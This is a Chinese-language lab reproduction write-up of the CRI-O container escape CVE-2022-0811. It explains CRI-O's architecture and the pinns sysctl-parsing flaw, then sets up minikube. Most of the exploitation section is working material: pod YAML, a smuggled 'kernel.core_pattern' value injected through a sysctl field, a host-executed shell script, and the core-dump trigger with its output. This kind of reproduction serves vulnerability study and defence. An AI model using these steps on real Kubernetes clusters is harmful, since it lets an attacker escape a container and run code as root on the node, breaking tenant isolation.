Kubernetes CRI-O逃逸CVE-2022-0811漏洞復現
一、前言
1、CRI-O
當容器運行時(Container Runtime)的標準被提出以后,Red Hat 的一些人開始想他們可以構建一個更簡單的運行時,而且這個運行時僅僅為 Kubernetes 所用。
這樣就有了 skunkworks項目,最后定名為 CRI-O, 它實現了一個最小的 CRI 接口。在 2017 Kubecon Austin 的一個演講中, Walsh 解釋說, “CRI-O 被設計為比其他的方案都要小,遵從 Unix 只做一件事并把它做好的設計哲學,實現組件重用”。
根據 Red Hat 的 CRI-O 開發者 Mrunal Patel 在研究里面說的, 最開始 Red Hat 在 2016 年底為它的 OpenShift 平臺啟動了這個項目,同時項目也得到了 Intel 和 SUSE 的支持。
CRI-O 與 CRI 規范兼容,并且與 OCI 和 Docker 鏡像的格式也兼容。它也支持校驗鏡像的 GPG 簽名。它使用容器網絡接口 Container Network Interface(CNI)處理網絡,以便任何兼容 CNI 的網絡插件可與該項目一起使用,OpenShift 也用它來做軟件定義存儲層。它支持多個 CoW 文件系統,比如常見的 overlay,aufs,也支持不太常見的 Btrfs。
CRI-O 允許你直接從 Kubernetes 運行容器,而不需要任何不必要的代碼或工具。只要容器符合 OCI 標準,CRI-O 就可以運行它,去除外來的工具,并讓容器做其擅長的事情:加速你的新一代原生云程序。
2、CRI-O的原理與架構
CRI-O 最出名的特點是它支持“受信容器”和“非受信容器”的混合工作負載。比如,CRI-O 可以使用 Clear Containers 做強隔離,這樣在多租戶配置或者運行非信任代碼時很有用。這個功能如何集成進 Kubernetes現在還不太清楚,Kubernetes 現在認為所有的后端都是一樣的。
當 Kubernetes 需要運行容器時,它會與 CRI-O 進行通信,CRI-O 守護程序與 runc(或另一個符合 OCI 標準的運行時)一起啟動容器。當 Kubernetes 需要停止容器時,CRI-O 會來處理,它只是在幕后管理 Linux 容器,以便用戶不需要擔心這個關鍵的容器編排。

CRI-O 有一個有趣的架構(見下圖),它重用了很多基礎組件,下面我們來看一下各個組件的功能及工作流程。

- Kubernetes 通知 kubelet 啟動一個 pod。
- kubelet 通過 CRI(Container runtime interface) 將請求轉發給 CRI-O daemon。
- CRI-O 利用 containers/image 庫從鏡像倉庫拉取鏡像。
- 下載好的鏡像被解壓到容器的根文件系統中,并通過 containers/storage 庫存儲到 COW 文件系統中。
- 在為容器創建 rootfs 之后,CRI-O 通過 oci-runtime-tool 生成一個 OCI 運行時規范 json 文件,描述如何使用 OCI Generate tools 運行容器。
- 然后 CRI-O 使用規范啟動一個兼容 CRI 的運行時來運行容器進程。默認的運行時是 runc。
- 每個容器都由一個獨立的 conmon 進程監控,conmon 為容器中 pid 為 1 的進程提供一個 pty。同時它還負責處理容器的日志記錄并記錄容器進程的退出代碼。
- 網絡是通過 CNI 接口設置的,所以任何 CNI 插件都可以與 CRI-O 一起使用。
3、漏洞原因
來自:
https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
從這個commit開始,CRI-O用Pinns給Pod設置內核參數,Pinns最常見的調用方式如下
# 以下傳遞給CRI-O的sysctl設置轉換pinns參數,但是沒有做校驗pinns -s kernel_parameter1=value1+kernel_parameter2=value2
所以惡意用戶可以使用+或者=字符傳入sysctl值,從而通過pinns設置額外的內核設置。
4、漏洞影響
CRI-O 1.19以上版本
判斷是否受到影響:run crio —version
二、環境搭建
MacOs Montery 12.3
minikube 1.25.2
1、安裝minikube
# MacOsbrew install minikube# Linuxcurl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64sudo install minikube-linux-amd64 /usr/local/bin/minikube# Windowshttps://minikube.sigs.k8s.io/docs/start/
2、安裝 docker-amchine-driver-vmware
brew install docker-machine-driver-vmware
3、啟動環境
minikube start --kubernetes-version=v1.23.3 --driver=vmware --container-runtime=crio

隨后查看node 一定要是Ready
kubectl get node

三、復現
1、創建pod
apiVersion: v1kind: Podmetadata: name: malicious-script-hostspec: containers: - name: alpine image: alpine:latest command: ["tail", "-f", "/dev/null"]
kubectl create -f malicious-script-host.yaml

kubctl get pod

2、查看掛載路徑
kubectl exec -it malicious-script-host -- /bin/shmount

我們獲取其中的upperdir就是從內核角度到容器根目錄的路徑。
2.1、Tips
在創建環境的時候我們的啟動命令如下
minikube start --kubernetes-version=v1.23.3 --driver=vmware --container-runtime=crio
但是在Ubuntu虛擬機中,我們的啟動命令如下
minikube start --kubernetes-version=v1.23.3 --driver=docker --container-runtime=crio

這里的--driver·docker,那么此時我們進入到pods中,使用mount,就不會有/var/lib/containers/storage/overlay/這個路徑,而是/var/lib/docker/overlay2/這里并不知道具體的原因,只是在嘗試后的發現,所以如果出現這種情況,換成Vmware Driver即可。
注意:在Linux下是沒有Vmware Driver的,所以只能是MacOs,或者Windows,當然如果有更好的,歡迎交流,自己搭建環境也可以。
# Ubuntu下driver以docker的方式啟動,mount命令結果overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/Q6DVAGGZCHBCIYVTIEDWFQTQ7I:/var/lib/docker/overlay2/l/LLWQRNQIVYIMZP6W6MTAWNUGQE,upperdir=/var/lib/docker/overlay2/bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7/diff,workdir=/var/lib/docker/overlay2/bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7/work)
3、創建一個惡意腳本來調用內核轉儲
#!/bin/shdate >> /var/lib/containers/storage/overlay/6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b/diff/outputwhoami >> /var/lib/containers/storage/overlay/6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b/diff/outputhostname >> /var/lib/containers/storage/overlay/6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b/diff/output

一定要給上權限這里建議直接
chmod 777 UzJu.sh
再創建一個ouput文本放在根目錄即可

4、使用第二個POD指向惡意腳本
apiVersion: v1kind: Podmetadata: name: sysctl-setspec: securityContext: sysctls: - name: kernel.shm_rmid_forced value: "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b/diff/UzJu.sh #" containers: - name: alpine image: alpine:latest command: ["tail", "-f", "/dev/null"]

創建pod
kubectl create -f ./sysctl-set.yaml
這里創建之后并不會顯示Running運行

5、觸發漏洞
kubectl exec -it malicious-script-host -- /bin/sh
/ # ulimit -c unlimited/ # ulimit -cunlimited/ # tail -f /dev/null &/ # psPID USER TIME COMMAND 1 root 0:00 tail -f /dev/null 27 root 0:00 /bin/sh 28 root 0:00 tail -f /dev/null 35 root 0:00 ps/ # kill -SIGSEGV 28/ # [1]+ Segmentation fault (core dumped) tail -f /dev/null

隨后我們再查看output就可以發現,成功執行了我們想要的命令。
datawhoamihostname

也就是寫在UzJu.sh中的

四、參考
1.https://blog.csdn.net/ccy19910925/article/details/118386726
2.https://zhuanlan.zhihu.com/p/334766611
3.https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
4.https://linux.cn/article-9015-1.html
5.https://blog.csdn.net/ccy19910925/article/details/118386726
6.https://medium.com/cri-o/cri-o-support-for-kubernetes-4934830eb98e
7.https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerability
8.https://twitter.com/search?q=CVE-2022-0811&src=typed_query